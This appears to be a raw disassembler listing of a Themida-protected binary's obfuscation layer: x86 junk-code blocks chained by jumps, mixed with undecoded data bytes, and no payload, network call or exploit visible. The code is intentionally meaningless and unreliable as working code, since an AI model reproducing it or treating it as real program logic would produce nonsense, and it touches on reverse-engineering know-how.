		dd 185719C9h, 0FFC18175h, 81FFFFFFh, 3D97C1F1h,	59CD09B7h
		dd 0ED81D5F7h, 73C23DCh, 0DB1FED81h, 9E9F6CDh, 50FFFF5Dh
		dd 405E089h, 0E9000000h, 0FFFFCA94h
; ---------------------------------------------------------------------------


loc_57039C:				; CODE XREF: Themida_:005709F8j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		jmp	loc_56A9FF
; ---------------------------------------------------------------------------
aHev		db '[h…V',0
		align 10h
		dd 0BA241489h, 63406968h, 0FF93EDE9h, 240487FFh, 0FEED7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5703C5:				; CODE XREF: Themida_:00566D8Ej
		mov	ebx, ecx
		pop	ecx
		jmp	loc_56A514
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E924048Bh, 0FFFFB929h, 8002C483h, 0C6806CCEh, 4C38011h
		dd 0FED816E9h, 7EEE81FFh, 1256C04h, 7EC681FEh, 0E9256C04h
		dd 0FFFF700Ah
; ---------------------------------------------------------------------------


loc_5703FC:				; CODE XREF: Themida_:0056165Fj
		add	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 3CBA68DEh
		inc	ecx
		neg	ecx
		and	ecx, 7FFA12D9h
		jmp	loc_565C4F
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 0FF8C08E9h,	0D0685BFFh, 8900005Ch
		dd 7CB9240Ch, 810081E5h, 4A75FDEDh, 0E9CD014Eh,	0FFFFC9E2h
		dd 0E6895658h, 4C681h, 0C6810000h, 4, 5C243487h, 405h
		dd 1B66800h, 0C890000h,	50E18924h, 0FEFA0EE9h, 51EABEFFh
		dd 0F3093C32h, 0D7BD555Eh, 941F93Ah, 0EBC15DEBh, 0B970E902h
		dd 535FFFFFh, 4BBh, 5C44E900h, 0FA89FFFFh, 0FEDA47E9h
		dd 4BDFFh, 0EF010000h, 83242C8Bh, 156804C4h, 89000037h
		dd 2CE9243Ch, 59FFFEDCh, 5204C483h, 4BAh, 5AD72900h, 5C243C87h
		dd 83240C89h, 2C8904ECh, 47306824h, 6CE931F9h, 89FFFF4Fh
		dd 4B9240Ch, 0E9000000h, 0FFFFAD89h, 59043E04h,	240C8B66h
		dd 197668h, 242C8900h, 6851E589h, 3FA6h, 0FFBDEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5704F9:				; CODE XREF: Themida_:0056C3F0j
		mov	edi, ebx
		pop	ebx
		jmp	loc_560B74
; ---------------------------------------------------------------------------


loc_570501:				; CODE XREF: Themida_:005675CAj
		sub	dh, 5Fh
		add	cl, dh
		jmp	loc_56A274
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EB8100h, 87000000h, 545C241Ch, 0FFE981E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570521:				; CODE XREF: Themida_:0056A2F2j
		pop	edx
		inc	ebx
		dec	ebx
		jmp	loc_560FAC
; ---------------------------------------------------------------------------


loc_570529:				; CODE XREF: Themida_:0056965Cj
		xor	dword ptr [esp], 22D06F4Bh
		pop	ecx
		xor	ecx, 22D06F4Bh
		jmp	loc_565D62
; ---------------------------------------------------------------------------


loc_57053C:				; CODE XREF: Themida_:0055DF1Aj
		xor	eax, edi
		pop	edi
		add	ecx, eax
		pop	eax
		push	eax
		jmp	loc_569389
; ---------------------------------------------------------------------------
		dd 4C281h, 0E90000h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570553:				; CODE XREF: Themida_:0055F341j
		shr	esi, 4
		sub	esi, 17CB7384h
		neg	esi
		sub	esi, 8E00F1Ch
		mov	ecx, esi
		pop	esi
		jmp	loc_571276
; ---------------------------------------------------------------------------
		dd 34FFFD01h, 0EC815F24h, 4, 89241C89h,	4B850E3h, 1000000h
		dd 3655E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57058A:				; CODE XREF: Themida_:005641A2j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	eax, 6EDF4585h
		jmp	loc_5711E8
; ---------------------------------------------------------------------------


loc_5705A1:				; CODE XREF: Themida_:005642ABj
		push	ebx
		add	dword ptr [esp], 0BB8112Dh
		pop	esi
		sub	esi, 0BB8112Dh
		push	esi
		pop	eax
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edi
		jmp	loc_55EFE6
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 83522404h, 8F5404ECh, 4812404h, 424h, 24148B00h, 2B3468h
		dd 241C8900h, 0C381E389h, 4, 4C381h, 1C330000h,	241C3124h
		dd 5C241C33h, 4BD55h, 0EA810000h, 32D26089h, 27E9EA01h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570607:				; CODE XREF: Themida_:00565E9Ej
		dec	edx
		jmp	loc_56A599
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0D6h
		dd 1106B00h, 0D6EE81C6h, 0E9106B00h, 0FFFFC268h, 79DCBE56h
		dd 0F68154A7h, 6976309Bh, 348BF501h, 4C48324h, 34FFEB89h
		dd 0EC815D24h, 4, 81240C89h, 4ECh, 24248900h, 4BA52h, 54010000h
		dd 69E90424h, 0BAFFFFC3h, 4, 875AD301h,	22E9241Ch, 1FFFF7Dh
		dd 0E5C159CDh, 10BB5302h, 813CBE62h, 9B71D8C3h,	5BDD2952h
		dd 815DEF01h, 4ECh, 243C8900h, 0FEFFBBE9h, 1C280FFh, 28F3F280h
		dd 24148BD3h, 0E904C483h, 0FFFF717Bh, 4C281h, 14870000h
		dd 0C153E924h, 487FFFEh, 24248B24h, 61E668h, 24148900h
		dd 468h, 8B17E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5706CA:				; CODE XREF: Themida_:0055E048j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	1
		pop	ebx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		jmp	loc_56C497
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5C056602h, 0D8296609h, 95C2D66h, 571E0566h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_568C60
; ---------------------------------------------------------------------------
		db 31h
		dd 0BD10E9C2h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570712:				; CODE XREF: Themida_:00566F3Dj
		mov	esp, [esp]
		push	0DAh
		mov	[esp], esi
		push	5F10h
		jmp	loc_55E579
; ---------------------------------------------------------------------------
		db 68h
		dd 2603h, 0FF5DCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570731:				; CODE XREF: Themida_:00569F2Aj
		pop	eax
		and	eax, 55A222C6h
		jmp	loc_5619FD
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFEBCDEh
		db 31h,	0C8h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5668F5
; ---------------------------------------------------------------------------
		db 0ADh
		dd 1C6568h, 240C8900h, 0C6698AB9h, 59C82932h, 6857D801h
		dd 32A6h, 56241489h, 0B63688BEh, 0E9F28903h, 0FFFF9976h
; ---------------------------------------------------------------------------


loc_570778:				; CODE XREF: Themida_:0056849Bj
		add	ebx, 4
		jmp	loc_5712EE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0FF90A5E9h, 5651B8FFh, 0BE5641CDh, 4C165A2Ah
		dd 0FF056BE9h, 48B66FFh, 0E9545624h, 0FFFF7F6Dh, 0C31DE958h
		dd 2D5AFFFEh, 458778B5h, 0FFAA84E9h, 0E08950FFh, 405h
		dd 40500h, 4870000h, 0A5F35C24h, 0FFE2C0E9h, 885250FFh
		dd 2F09E9FAh, 0DAF7FFFFh, 0D6BCEA81h, 0D3097175h, 0FF8221E9h
		dd 4BD55FFh, 1000000h, 0BE565DE9h, 4, 0FF93B1E9h, 30E425FFh
		dd 0E0D17C92h, 4A6E8635h, 4B933555h, 0ACE9F680h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570817:				; CODE XREF: Themida_:005605F2j
		add	esp, 4
		jmp	loc_56F741
; ---------------------------------------------------------------------------


loc_570822:				; CODE XREF: Themida_:00565984j
		pop	esp
		mov	[esp], esi
		jmp	loc_55FDDF
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 0FF6CD9E9h, 0E9EB88FFh, 0FFFFC8A5h, 23E0B951h
		dd 0CF293126h, 3C875A59h, 24248B24h, 2896664h, 0FEBBC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570859:				; CODE XREF: Themida_:00565043j
		or	edx, ebx
		pop	ebx
		jmp	loc_56A2E4
; ---------------------------------------------------------------------------
		db 68h,	0D2h, 60h
		dd 3C890000h, 4EC8124h,	0E9000000h, 0FFFF0D7Ch,	4247C01h
		dd 81243C8Bh, 4C4h, 0E9565A00h,	0FFFECD25h, 84E9F331h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57088F:				; CODE XREF: Themida_:0056DDC0j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5641FE
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF9B6CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5708A5:				; CODE XREF: Themida_:0056DB7Aj
		xor	eax, 418B58BFh
		or	eax, 35BB2627h
		dec	eax
		add	eax, 18BF3670h
		add	ecx, 58FE3F6Dh
		sub	ecx, eax
		sub	ecx, 58FE3F6Dh
		jmp	loc_565EA3
; ---------------------------------------------------------------------------
		dd 4C7815Ch, 83000000h,	0EC8102C7h, 4, 54240C89h, 4BA5259h
		dd 1000000h, 0BBE95AD1h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5708EB:				; CODE XREF: Themida_:0055E6DCj
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	34A2h
		mov	[esp], edi
		jmp	loc_567E75
; ---------------------------------------------------------------------------
		dd 73A4F605h, 58C701DDh, 815FFA89h, 672BB1C1h, 0FCD9E95Fh
		dd 0E589FFFEh, 0ABEB850h, 684807B3h, 7B7h, 0BE243489h
		dd 7B30AB9h, 0E1E9F029h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57093B:				; CODE XREF: Themida_:0055D41Aj
		push	0D1Ah
		mov	[esp], edx
		mov	edx, 50F422D0h
		or	edx, 56096450h
		jmp	loc_56FCDE
; ---------------------------------------------------------------------------
		db 2Dh
		dd 159C7F08h, 1917E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57095E:				; CODE XREF: Themida_:0056CDCFj
		xchg	ecx, esi
		push	ebx
		push	edi
		push	2D4F085Eh
		mov	edi, [esp]
		jmp	loc_56A39A
; ---------------------------------------------------------------------------
		db 1
		dd 38C381C3h, 0E94CBD46h, 0FFFEEE4Ch, 0BAE9EE01h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570983:				; CODE XREF: Themida_:00564E9Cj
		sub	edx, 1
		jmp	loc_560EEC
; ---------------------------------------------------------------------------
		db 1
		dd 74E981D1h, 0E9308A46h, 0FFFF32AFh, 0D60559BEh, 5EEC140h
		dd 0C6814E46h, 0FDF94FDAh, 0FF914BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5709AD:				; CODE XREF: Themida_:0055D87Fj
		mov	[esp], esi
		mov	esi, 9D82FDDh
		xor	edx, esi
		pop	esi
		add	[ecx], edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	eax
		jmp	loc_566D59
; ---------------------------------------------------------------------------
aIIchP		db '‰<$‰çhÍp',0
		dd 898EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5709DA:				; CODE XREF: Themida_:00564148j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	edx
		push	ecx
		push	edi
		jmp	loc_56EEDF
; ---------------------------------------------------------------------------
		db 2Dh
		dd 185B77F9h, 0FF7561E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5709F5:				; CODE XREF: Themida_:0056BA0Dj
		push	dword ptr [esp]
		jmp	loc_57039C
; ---------------------------------------------------------------------------


loc_5709FD:				; CODE XREF: Themida_:00564094j
		mov	edx, [esp]
		jmp	loc_5681F3
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 0C1h
		dd 8AE904E3h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570A0F:				; CODE XREF: Themida_:0055D37Aj
		not	dword ptr [esp]
		jmp	loc_56C121
; ---------------------------------------------------------------------------
		db 53h
		dd 0FA0020B7h, 0E959665Bh, 0FFFED33Ch, 0E957EB80h, 0FFFFE157h
		dd 72CD828h, 34FF2104h,	0C4815B24h, 4, 70AF68h,	24048900h
		dd 0DE9E089h, 89FFFED2h, 4C181E1h, 0E9000000h, 0FFFFA49Bh
		dd 0D501F781h, 0ED81D167h, 287227A5h, 26FDC581h, 0FD0137CCh
		dd 840E9h
		db 0
; ---------------------------------------------------------------------------


loc_570A71:				; CODE XREF: Themida_:005711F3j
		mov	[esp], edi
		jmp	loc_561D1D
; ---------------------------------------------------------------------------
		db 66h,	89h, 0C5h
		dd 0E5C16658h, 1719E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570A86:				; CODE XREF: Themida_:0056B2C5j
		add	esp, 4
		push	ebx
		mov	ebx, 0C01D66B8h
		add	edx, ebx
		pop	ebx
		xor	eax, edx
		jmp	loc_564400
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0BCBE2434h, 8118B460h, 6D3B69C6h,	3EEC13Dh
		dd 78D5F681h, 0EE8106D5h, 0D14C45EBh, 0FFD52AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570AC1:				; CODE XREF: Themida_:0056236Dj
		xchg	eax, ebp
		push	4FC2h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_566FAA
; ---------------------------------------------------------------------------
		db 56h
		dd 0FE2B57BEh, 0E4F6814Ah, 89625B2Fh, 0D3315EF3h, 8324148Bh
		dd 0EB8104C4h, 2A6BACEDh, 15BDF01h, 243C8BFAh, 0FEF6E0E9h
		dd 0EC815FFFh, 4, 0FF4909E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570B09:				; CODE XREF: Themida_:00567CA6j
		xor	[esp], eax
		not	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		pop	edx
		or	edx, 55B97A8Eh
		add	edx, 1
		push	esi
		jmp	loc_55FDC5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815824h, 4, 0FFEC87E9h, 4EB81FFh,	33000000h, 1C31241Ch
		dd 241C3324h, 243C895Ch, 0FEDB3FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570B51:				; CODE XREF: Themida_:0055F19Aj
		xor	edi, esi
		jmp	loc_55F1EF
; ---------------------------------------------------------------------------


loc_570B58:				; CODE XREF: Themida_:00566A44j
		add	eax, 23690508h
		add	eax, esi
		jmp	loc_55C528
; ---------------------------------------------------------------------------
		dd 8276BCBFh, 0E9FA3112h, 0FFFF2910h, 0BE665666h, 5DE913FAh
		dd 0FFFF60h, 575B66D8h,	0FF7B7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570B85:				; CODE XREF: Themida_:00562695j
		pop	ebx
		add	edi, 0E8E88CDAh
		add	esi, edi
		jmp	loc_560018
; ---------------------------------------------------------------------------
		db 83h
		dd 0BBE904C6h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_570B9B:				; CODE XREF: Themida_:005638F6j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_56310A
; ---------------------------------------------------------------------------
		dw 0D4F6h
		dd 0EA80E286h, 0F6C2FE93h, 3CA80DAh, 0E9F9C280h, 0FFFFF729h
		dd 4F12E381h, 0E3814399h, 69610C31h, 0F381D3F7h, 0BB42D99Ah
		dd 815BDF09h, 93A41C7h,	5FFB3146h, 0F702E3C1h, 0D3BD55DBh
		dd 298E099Bh, 0A72D5DEBh, 2D3FBE3Bh, 578C1BA4h,	0A405D801h
		dd 5578C1Bh, 3FBE3BA7h,	0FFB671E9h, 24148BFFh, 8104C483h
		dd 245CD3CBh, 3BB85033h, 2D40BB09h, 0E9F779E4h,	3158C331h
		dd 81565BD8h, 4ECh, 24148900h, 0FFBFDAE9h, 240C87FFh, 2414895Ch
		dd 0FEBD8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570C3D:				; CODE XREF: Themida_:00562BC7j
		or	ch, 89h
		add	ch, 0BEh
		shr	ch, 5
		push	edx
		mov	dl, 94h
		add	ch, dl
		jmp	loc_569540
; ---------------------------------------------------------------------------
		dd 0E23DE952h, 3487FFFEh, 0C3805C24h, 28E950DAh
		db 0FBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570C63:				; CODE XREF: Themida_:0056089Aj
		mov	edi, 4
		add	edx, 5E7695Dh
		add	edx, edi
		sub	edx, 5E7695Dh
		pop	edi
		push	5A8Ah
		mov	[esp], ecx
		jmp	loc_5659BB
; ---------------------------------------------------------------------------
		dd 4C4835Eh, 575AD129h,	60DB850h, 0D8F701E4h, 673CBB53h
		dd 0C381120Eh, 10F6A2Dh, 0E95FE943h, 814AFFFEh,	6B107CC2h
		dd 36CA810Ch, 5318B447h, 0FEF9B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570CB9:				; CODE XREF: Themida_:00565FF1j
		add	ecx, 13E03D05h
		add	ecx, ebp
		sub	ecx, 13E03D05h
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shl	esi, 4
		shr	esi, 2
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1F379CB1h
		sub	esi, edi
		pop	edi
		and	eax, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_565265
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0EDh
		dd 81FFFF63h, 0DA36A7EAh, 41C2814Eh, 1620B4Fh, 41EA81CAh
		dd 0E9620B4Fh, 0FFFF7695h, 43BEE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570D2E:				; CODE XREF: Themida_:0055F92Bj
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_56B135
; ---------------------------------------------------------------------------


loc_570D41:				; CODE XREF: Themida_:005656D3j
		pop	ebx
		jmp	loc_56348B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 0F538E900h, 0CABFFFFEh, 0F766BC74h, 3FBD55D7h
		dd 5725E66Eh, 70664EBFh, 7BDAE91Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570D6A:				; CODE XREF: Themida_:00569024j
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 605F6FDFh
		dec	ebx
		jmp	loc_5688A1
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 2A59C681h, 0EE810730h, 68206813h, 0FED76CE9h, 0C6814EFFh
		dd 17728B75h, 475EF701h, 27EBCF81h, 0EF8338F0h,	5EFC101h
		dd 0C83AEF81h, 0FA29FEC6h, 241C8B5Fh, 3304C483h, 14312414h
		dd 24143324h, 0FEF91EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570DC5:				; CODE XREF: Themida_:00566EB5j
		pop	eax
		pop	esi
		xor	esi, 41C3381Bh
		pop	edx
		and	eax, esi
		mov	esi, [esp]
		push	eax
		jmp	loc_564E84
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 0CA3824BEh, 0EEC1462Eh, 814E4602h, 0A27CA7C6h
		dd 0E9F1015Dh, 0FFFFC716h, 0B1FCE95Bh, 6852FFFFh, 380E340Ah
		dd 4E2C15Ah, 25A9E281h,	0C28108FCh, 4DDD69A5h, 0AB19C281h
		dd 0D789C7DDh, 4E7C15Ah, 0E908EFC1h, 0FFFFDB90h, 0C281C201h
		dd 84B7CBBh, 5E21EA81h,	0EA8157A3h, 51E8684Bh, 1D04E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570E42:				; CODE XREF: Themida_:0055FEC7j
		pop	ebp
		add	ebx, eax
		mov	[ebx], dl
		pop	ebx
		jmp	loc_55C422
; ---------------------------------------------------------------------------


loc_570E4D:				; CODE XREF: Themida_:00562CB6j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56ABE6
; ---------------------------------------------------------------------------


loc_570E5B:				; CODE XREF: Themida_:0055C5D0j
		pop	ecx
		add	ecx, 6E087A6Fh
		jmp	loc_55C514
; ---------------------------------------------------------------------------
		db 43h
		dd 0FFA86DE9h, 5EF329FFh, 34FFD829h, 0F7E95B24h, 5FFFFFD7h
		dd 148BD101h, 4C48124h,	0E9000000h, 0FFFF31D5h,	57E18951h
		dd 0FFE4B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570E95:				; CODE XREF: Themida_:0056A0ADj
		mov	edx, esi
		pop	esi
		sub	esi, 4F975E39h
		sub	esi, edx
		push	eax
		mov	eax, 4F975E39h
		jmp	loc_561C39
; ---------------------------------------------------------------------------


loc_570EAB:				; CODE XREF: Themida_:0056B17Aj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_568910
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 6Eh
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570ED3:				; CODE XREF: Themida_:00560816j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55CE4C
; ---------------------------------------------------------------------------
		db 59h,	51h, 54h
		dd 0FFBB30E9h, 455B59FFh, 5104EDC1h, 29986855h,	0F75D7583h
		dd 5E5C1D5h, 0FF71B4E9h, 78AF05FFh, 55574868h, 502CB850h
		dd 0C5892AD4h, 0FEBE58E9h, 26C281FFh, 1408D22h,	26EA81FAh
		dd 81408D22h, 181692C2h, 243C8B79h, 0FF9B7EE9h,	0D60159FFh
		dd 0FF1A16E9h, 4EC81FFh, 0E9000000h, 0FFFEFED6h
; ---------------------------------------------------------------------------


loc_570F44:				; CODE XREF: Themida_:005682F6j
		add	esp, 4
		sub	ecx, 75194465h
		push	706Bh
		mov	[esp], edx
		mov	edx, 18B2019Eh
		shl	edx, 1
		shr	edx, 8
		dec	edx
		jmp	loc_55D2C9
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 2639BD55h, 0C145094Ah, 0ED8103E5h, 4A5131CCh, 0FF1331E9h
		dd 24148BFFh, 0FF5044E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570F85:				; CODE XREF: Themida_:00570341j
		sub	ebx, 488408F5h
		add	ebx, 47D506DCh
		pop	esi
		push	2AECh
		jmp	loc_56A6E2
; ---------------------------------------------------------------------------
		dd 6A79E959h, 0E954FFFFh, 0FFFF08FEh
; ---------------------------------------------------------------------------


loc_570FA8:				; CODE XREF: Themida_:0056A8C7j
		xor	edi, 22CA1539h
		sub	edi, 0A05654CDh
		sub	ebx, edi
		jmp	loc_56E4C1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 5C243C87h, 3CEBC181h, 0D9010FF4h, 3CEBE981h
		dd 1C8B0FF4h, 4C48124h,	68000000h, 4390h, 0FF240C89h, 59042474h
		dd 0E924048Fh, 0FFFED58Dh, 0CB68E689h, 8900007Eh, 37B9240Ch
		dd 812D874Fh, 380D73C9h, 4EC816Bh, 89000000h, 5950240Ch
		dd 0E9D0F758h, 0FFFEC3D3h
; ---------------------------------------------------------------------------


loc_57101C:				; CODE XREF: Themida_:0056F647j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	4F38h
		mov	[esp], ebx
		mov	ebx, 2
		sub	ebp, 78B7716Dh
		add	ebp, ebx
		jmp	loc_5670A2
; ---------------------------------------------------------------------------
		dd 0D5EB8159h, 0E972FB50h, 0FFFFB1F8h
; ---------------------------------------------------------------------------


loc_571048:				; CODE XREF: Themida_:00564103j
		push	72A7h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56DAA0
; ---------------------------------------------------------------------------
		dd 4111C681h, 81568DD5h, 8A82434h, 2C8B3F5Ah, 4C48124h
		dd 81000000h, 5A08A8F5h, 6C295E3Fh, 2C8B0424h, 0FECFE924h
		dd 9B1FFFFh, 3059CF88h,	1C8B66F8h, 75A46824h, 9CE90000h
		dd 5CFFFF73h, 5607E3C1h, 0FFF3B0E9h, 31E931FFh,	68E931CDh
		dd 5BA0h, 0E9242C89h, 0FFFF37D0h
; ---------------------------------------------------------------------------


loc_5710C8:				; CODE XREF: Themida_:0055C426j
		mov	ebp, esp
		add	ebp, 4
		push	5DC9h
		mov	[esp], eax
		mov	eax, 4
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	eax
		push	ebx
		mov	bh, 17h
		mov	ah, bh
		pop	ebx
		and	ah, 6Ah
		jmp	loc_55CAC4
; ---------------------------------------------------------------------------
		dd 51D830ACh, 88C2B252h, 0D2A5E9D5h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57110E:				; CODE XREF: Themida_:00563468j
		push	esi
		mov	esi, 4
		jmp	loc_56B2B5
; ---------------------------------------------------------------------------


loc_571119:				; CODE XREF: Themida_:0055F61Cj
		xchg	ecx, edi
		push	1E26h
		mov	[esp], ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		push	2446h
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ecx
		jmp	loc_55E6D1
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 55000000h,	0D04F97BDh, 0B7CD8154h,	4D58E27Dh
		dd 7FB2F581h, 0EB015CF2h, 74FF535Dh, 1C8B0424h,	4C48124h
		dd 8F000000h, 248B2404h, 1C5F0924h, 5B2434FFh, 9488E951h
		dd 0B951FFFFh, 770319B5h, 19B1F181h, 5DE97703h
		db 0BBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571193:				; CODE XREF: Themida_:0056F74Aj
		pop	esi
		jmp	loc_56155D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 5AE95124h, 8BFFFEF7h, 0C483243Ch, 0CB814304h, 7AF36F43h
		dd 0E72AC381h, 0CEE9A317h, 5CFFFFDCh, 0FF243489h, 0E9042474h
		dd 0FFFF8D09h, 74FF535Fh, 34FF0424h, 0C4815B24h, 4, 8B24048Fh
		dd 31662424h, 0E99C2404h, 0FFFEB23Ah
; ---------------------------------------------------------------------------


loc_5711E8:				; CODE XREF: Themida_:0057059Cj
		push	dword ptr [esp]
		jmp	loc_567E80
; ---------------------------------------------------------------------------


loc_5711F0:				; CODE XREF: Themida_:0056815Aj
		mov	esp, [esp]
		jmp	loc_570A71
; ---------------------------------------------------------------------------
		dd 0D224248Bh, 0E99C2404h, 0FFFEB21Eh
; ---------------------------------------------------------------------------


loc_571204:				; CODE XREF: Themida_:0056F94Dj
		push	esi
		jmp	loc_56F4C5
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4C581h, 2C330000h, 0DE3EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57121E:				; CODE XREF: Themida_:00562438j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	19CBh
		mov	[esp], ebx
		mov	bl, dl
		mov	cl, bl
		jmp	loc_5699F2
; ---------------------------------------------------------------------------
		dw 489h
		dd 0E9E08924h, 0FFFEF7E3h
; ---------------------------------------------------------------------------


loc_571254:				; CODE XREF: Themida_:00567986j
		mov	edi, 60E76E3Fh
		shl	edi, 2
		and	edi, 5D7D1B6Eh
		add	edi, 0FFFFFFFFh
		xor	edi, 57A07A88h
		push	ecx
		mov	ecx, 74D06021h
		jmp	loc_55DE0D
; ---------------------------------------------------------------------------


loc_571276:				; CODE XREF: Themida_:00570567j
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_564A04
; ---------------------------------------------------------------------------
		dd 16F5EE81h, 0BF57150Ch, 1BE84C57h, 0E95FFE31h, 0FFFF8CDCh
; ---------------------------------------------------------------------------


loc_571294:				; CODE XREF: Themida_:0056D3F4j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56D28E
; ---------------------------------------------------------------------------
		db 68h,	0, 1Dh
		dd 4890000h, 0E9505124h, 0FFFFA591h
; ---------------------------------------------------------------------------


loc_5712C0:				; CODE XREF: Themida_:005699F4j
		push	68F2h
		jmp	loc_567C3B
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 8B042474h, 0C4832434h, 24048F04h, 2BE2E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5712DE:				; CODE XREF: Themida_:00562650j
		mov	[esp], esi
		mov	esi, 391F39F0h
